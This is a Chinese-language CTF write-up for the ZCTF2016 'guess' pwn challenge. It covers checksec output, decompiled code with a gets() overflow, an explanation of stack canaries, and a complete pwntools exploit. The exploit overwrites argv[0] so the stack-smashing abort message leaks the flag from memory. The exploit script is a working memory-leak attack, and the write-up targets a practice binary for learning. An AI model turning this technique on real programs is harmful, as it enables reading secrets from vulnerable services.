ZCTF2016——WriteUp(Pwn)

ZCTF2016 Pwn题题解
                            ——当你的才华还配不上你的野心时,请静下来好好努力!

guess-pwn100

0x00 检查程序开启的保护机制

1
2
3
4
5
6
7
$ checksec guess
[*] '/home/******/Desktop/remote-dbg/guess'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

  我们可以看到程序开启了Partial RELRO(部分重定位只读),在这种情况下,.dynamic段是不可写的,.got.plt段(GOT表)是可写的。又开启了Canary检测是否有栈溢出,开启了NX(DEP)使堆栈上的代码不可执行。

0x10 静态分析

  首先,这是一个64位ELF可执行程序。我们使用IDA反汇编此文件,并用反编译插件得到主函数的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
signed __int64 __fastcall main(__int64 argc, char **argv, char **env)
{
int i; // [rsp+8h] [rbp-58h]
int j; // [rsp+8h] [rbp-58h]
signed int mark; // [rsp+Ch] [rbp-54h]
int current_position; // [rsp+10h] [rbp-50h]
FILE *stream; // [rsp+18h] [rbp-48h]
char input_flag[40]; // [rsp+20h] [rbp-40h]
unsigned __int64 canary; // [rsp+48h] [rbp-18h]

canary = __readfsqword(0x28u);
stream = fopen("flag", "r");
if ( !stream ) // 打开失败
return 0xFFFFFFFFLL;
setvbuf(stdin, 0LL, 2, 0LL); // 关闭缓冲
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(60u);
// 设置流 stream 的文件位置为给定的偏移 offset,参数 offset 意味着从给定的 whence 位置查找的字节数。
fseek(stream, 0LL, 2); // SEEK_END = 2
current_position = ftell(stream); // 返回给定流 stream 的当前文件位置。
fseek(stream, 0LL, 0);
fgets(&str, current_position + 1, stream);
fclose(stream);
puts("please guess the flag:");
gets(input_flag); // 输入flag,存在溢出
if ( current_position != (unsigned int)strlen(input_flag) )// 验证flag长度
{
puts("len error");
exit(0);
}
if ( memcmp(input_flag, "ZCTF{", 5uLL) ) // 验证flag开头
{
puts("flag is start with ZCTF{");
exit(0);
}
for ( i = 0; i < current_position; ++i ) // 输入的flag和真正的flag进行异或
*(&str + i) ^= input_flag[i];
mark = 1;
for ( j = 0; j < current_position; ++j ) // 如果输入的flag正确,则异或结果全部为0
{
if ( *(&str + j) )
{
mark = 0;
break;
}
}
if ( mark )
puts("you are right");
else
puts("you are wrong");
return 0LL;
}

  我们可以看出整个程序的逻辑是这样的。首先,读取当前文件夹下的flag文件,从这个文件中读出真正的flag、以及flag的长度。然后提示用户输入flag,程序先验证用户输入的flag的长度是否正确,再将用户输入的flagflag文件中读出的flag进行异或,根据异或的结果判断输入的flag是否是正确的flag。如果异或的结果每一个字节都为"\x00",则输入的flag正确。反之,则不正确。

0x20 编写exp

0x21 Stack Smashing Protector

  Stack Smashing Protector是一种众所周知的针对基于栈的内存损坏的缓解措施(例如:连续的缓冲区溢出)。也就是常说的Canary

  我们可以在编译程序的时候使用“–fstack-protector”“–fstack-protector-all”开启它,使用“–fno-stack-protector”关闭它。

0x22 开启了Stack Smashing Protector的程序特征

  开启了Stack Smashing Protector的程序会在函数序言函数尾声添加一些汇编代码,如下所示:

函数序言:

1
2
3
4
5
6
7
.text:000000000040096D     push    rbp
.text:000000000040096E mov rbp, rsp
.text:0000000000400971 push rbx
.text:0000000000400972 sub rsp, 58h
.text:0000000000400976 mov rax, fs:28h -|
.text:000000000040097F mov [rbp+canary], rax |向栈中写入Canary
.text:0000000000400983 xor eax, eax -|

函数尾声:

1
2
3
4
5
6
7
8
9
10
.text:0000000000400B6F loc_400B6F:                             
.text:0000000000400B6F mov rbx, [rbp+canary] -|
.text:0000000000400B73 xor rbx, fs:28h |验证栈中的Canary
.text:0000000000400B7C jz short loc_400B83 |是否被修改
.text:0000000000400B7E call ___stack_chk_fail -|
.text:0000000000400B83 loc_400B83:
.text:0000000000400B83 add rsp, 58h
.text:0000000000400B87 pop rbx
.text:0000000000400B88 pop rbp
.text:0000000000400B89 retn

  fs:28h中的值是随机的,每次程序启动都会不同,但在某次程序运行过程中,它是不会改变的。Canary在栈中的位置,一般是在函数栈帧ebp/rbp的上方(低地址处)。当函数执行完功能后,会验证栈上的Canary是否被修改。如果被修改,会调用__stack_chk_fail()函数,__stack_chk_fail()函数内容如下:

1
2
3
4
5
6
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

我们可以看到__stack_chk_fail()函数又调用了__fortify_fail()函数,其内容如下:

1
2
3
4
5
6
7
8
9
10
11
void
__attribute__ ((noreturn))
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

libc_hidden_def (__fortify_fail)

  msg的内容为“stack smashing detected”__libc_argv[0]的内容为当前运行程序名称字符串。所以,如果栈溢出覆盖了Canary,则会输出以下字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
**************************************
test.c
gcc test.c –fstack-protector -o test
**************************************
#include <stdio.h>
int main()
{
char str[10];
gets(str);
}

-------------------------------------------------------------
$ ./test
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./test terminated
[1] 47585 abort (core dumped) ./test

0x23 利用Stack Smashing Protector泄露信息

  如果将__libc_argv[0]中的字符串指针覆盖为要泄露的信息的地址,就可以泄露出想要泄露出的信息

利用思路:

1、构造满足条件(flag开头为ZCTF{)的不同长度的flag字符串,通过返回信息,来判断是否为正确的flag的长度

2、泄露出正确flag的长度后,构造满足条件(flag开头为ZCTF{)及正确长度的flag,并用“\x00”作为flag字符串的结束,绕过flag长度的验证。然后,继续覆盖至main函数的参数argv[0],将其覆盖为&str+0x5(&str为存储真实flag的地址)。因为前5个字节“ZCTF{”相同,所以,异或后的结果“\x00”,只能从第6字节开始泄露。

3、异或在异或双方不同情况下是可逆的,所以我们需要选取一个不在正确flag中的字母,与正确flag的每一个字符进行异或。泄露出异或后的结果字符串后,再用相同的字母进行一次异或,就可以得到正确的flag。如果选取正确flag中的字符,异或后结果为“\x00”,泄漏时会造成“\x00”截断。我们需要不断尝试,找到一个合适的异或数。这里选用“b”

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# Author:Sp4n9x
# -*- coding:utf-8 -*-
# 测试Flag: ZCTF{welcome_to_zctf,i_love_you}
from pwn import *

context.clear()
# context.log_level = 'debug'
context.binary ='./guess'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

'''
bp 0x40096D,main函数起始地址
bp 0x400A2F,ftell()函数调用地址
bp 0x400A61,fgets()函数调用地址
bp 0x400A83,gets()函数调用地址
'''
def get_io():
if args['REMOTE']:
io = remote('220.249.52.133',34604)
else:
if debug:
io = gdb.debug('./guess','''
bp 0x40096D
bp 0x400A2F
bp 0x400A61
bp 0x400A83''')
else:
io = process('./guess')
return io

def str_to_hex(str):
return ''.join(['\\x' + '%02X' % ord(c) for c in str])

def xor(io,result):
flag = ''
for i in result:
flag += chr(ord(i)^ord('b'))
print "Flag: ZCTF{%s"%flag

def leak_len(io,length):
io.recvuntil("please guess the flag:\n")
flag_addr = 0x6010C0
payload = 'A'*length + "\x00"
io.writeline(payload)

result = io.recvuntil('\n')
print result
if "len error" in result:
return False
return True

def pwn(io,length):
io.recvuntil("please guess the flag:\n")
flag_addr = 0x6010C0 + 5
payload = "ZCTF{"
payload = payload.ljust(length,'b')
payload += "\x00"
payload = payload.ljust(0x7fffffffddb8 - 0x7fffffffdc90,'A')
payload += p64(flag_addr)
io.writeline(payload)

io.recvuntil("*** stack smashing detected ***: ")
result = io.recvline()
print result
print str_to_hex(result[0:27]) + result[27:-1] + str_to_hex(result[-1:])
result = result.split(' terminated\n')[0]
print str_to_hex(result)
xor(io,result)
io.interactive()

if __name__ == '__main__':
debug = 0 # debug = 1表示进行调试
mark = 0 # mark = 1表示泄露flag长度
if mark:
for i in range(5,256):
print "*********************Start*********************"
io = get_io()
print "length:",i
if leak_len(io,i) == True:
exit(0)
else:
io.close()
print "**********************End**********************"
else:
length = 32
io = get_io()
pwn(io,length)

文章目录
  1. guess-pwn100
    1. 0x00 检查程序开启的保护机制
    2. 0x10 静态分析
    3. 0x20 编写exp
      1. 0x21 Stack Smashing Protector
      2. 0x22 开启了Stack Smashing Protector的程序特征
      3. 0x23 利用Stack Smashing Protector泄露信息